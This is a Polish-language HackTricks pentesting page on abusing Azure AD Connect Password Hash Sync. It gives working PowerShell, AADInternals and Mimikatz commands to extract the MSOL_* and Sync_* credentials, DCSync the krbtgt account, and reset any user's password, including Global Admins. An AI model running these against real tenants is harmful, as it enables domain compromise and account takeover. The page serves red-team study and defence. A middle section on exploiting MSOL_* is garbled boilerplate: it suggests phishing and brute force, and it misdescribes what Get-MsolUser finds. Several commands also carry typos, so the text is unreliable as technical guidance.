Az - PHS - Password Hash Sync

Support HackTricks

Podstawowe informacje

Z dokumentacji: Password hash synchronization to jedna z metod logowania używana do osiągnięcia hybrydowej tożsamości. Azure AD Connect synchronizuje hash, hasha hasła użytkownika z lokalnej instancji Active Directory do chmurowej instancji Azure AD.

Jest to najczęściej stosowana metoda przez firmy do synchronizacji lokalnego AD z Azure AD.

Wszystkie użytkownicy i hash haszy haseł są synchronizowane z lokalnego AD do Azure AD. Jednakże, hasła w postaci jawnej ani oryginalne hasze nie są wysyłane do Azure AD. Ponadto, wbudowane grupy zabezpieczeń (jak administratorzy domeny...) nie są synchronizowane do Azure AD.

Synchronizacja haszy odbywa się co 2 minuty. Jednakże, domyślnie, wygaśnięcie hasła i wygaśnięcie konta nie są synchronizowane w Azure AD. Tak więc, użytkownik, którego lokalne hasło wygasło (nie zostało zmienione) może nadal uzyskiwać dostęp do zasobów Azure używając starego hasła.

Gdy lokalny użytkownik chce uzyskać dostęp do zasobu Azure, uwierzytelnianie odbywa się w Azure AD.

PHS jest wymagane dla funkcji takich jak Identity Protection i AAD Domain Services.

Pivoting

Gdy PHS jest skonfigurowane, niektóre uprzywilejowane konta są automatycznie tworzone:

  • Konto MSOL_<installationID> jest automatycznie tworzone w lokalnym AD. To konto ma przypisaną rolę Directory Synchronization Accounts (zobacz dokumentację), co oznacza, że ma uprawnienia replikacji (DCSync) w lokalnym AD.

  • Konto Sync_<name of on-prem ADConnect Server>_installationID jest tworzone w Azure AD. To konto może resetować hasło DOWOLNEGO użytkownika (zsynchronizowanego lub tylko w chmurze) w Azure AD.

Hasła dwóch poprzednich uprzywilejowanych kont są przechowywane na serwerze SQL na serwerze, gdzie Azure AD Connect jest zainstalowany. Administratorzy mogą wyodrębnić hasła tych uprzywilejowanych użytkowników w postaci jawnej. Baza danych znajduje się w C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

Możliwe jest wyodrębnienie konfiguracji z jednej z tabel, z których jedna jest zaszyfrowana:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

Zaszyfrowana konfiguracja jest zaszyfrowana za pomocą DPAPI i zawiera hasła użytkownika MSOL_* w lokalnym AD oraz hasło Sync_* w AzureAD. Dlatego, kompromitując te dane, możliwe jest privesc do AD i do AzureAD.

Możesz znaleźć pełny przegląd, jak te dane uwierzytelniające są przechowywane i odszyfrowywane w tej prezentacji.

Znalezienie serwera Azure AD connect

Jeśli serwer, na którym zainstalowany jest Azure AD connect jest dołączony do domeny (zalecane w dokumentacji), możliwe jest jego znalezienie za pomocą:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

Wykorzystywanie MSOL_*

Wprowadzenie

W tej sekcji omówimy, jak można wykorzystać MSOL_* do przeprowadzenia ruchu lateralnego w środowisku hybrydowym Azure AD.

Wymagania

  • Uprawnienia administracyjne do Azure AD

  • Dostęp do konta z uprawnieniami MSOL_*

Kroki

  1. Zidentyfikuj konta MSOL_*: Użyj narzędzi takich jak PowerShell, aby zidentyfikować konta MSOL_* w środowisku.

  2. Uzyskaj dostęp do konta MSOL_*: Wykorzystaj techniki takie jak phishing lub brute force, aby uzyskać dostęp do konta MSOL_*.

  3. Wykorzystaj uprawnienia konta MSOL_*: Użyj uzyskanych uprawnień do przeprowadzenia ruchu lateralnego i eskalacji uprawnień w środowisku.

Przykład

Get-MsolUser -All | Where-Object {$_.UserPrincipalName -like "*@domain.com"}

Powyższe polecenie PowerShell identyfikuje wszystkie konta MSOL_* w domenie.

Podsumowanie

Wykorzystanie kont MSOL_* może być skuteczną metodą na przeprowadzenie ruchu lateralnego w środowisku hybrydowym Azure AD.

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

Możesz również użyć adconnectdump aby uzyskać te poświadczenia.

Wykorzystywanie Sync_*

Kompromitując konto Sync_* możliwe jest zresetowanie hasła dowolnego użytkownika (w tym Globalnych Administratorów)

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

Jest również możliwe zmodyfikowanie haseł tylko użytkowników chmurowych (nawet jeśli jest to nieoczekiwane)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

Możliwe jest również zrzucenie hasła tego użytkownika.

Inną opcją byłoby przypisanie uprzywilejowanych uprawnień do głównego serwisu, co użytkownik Sync ma uprawnienia do zrobienia, a następnie dostęp do tego głównego serwisu jako sposób na privesc.

Seamless SSO

Możliwe jest użycie Seamless SSO z PHS, które jest podatne na inne nadużycia. Sprawdź to w:

Az - Seamless SSO

References

Support HackTricks

Last updated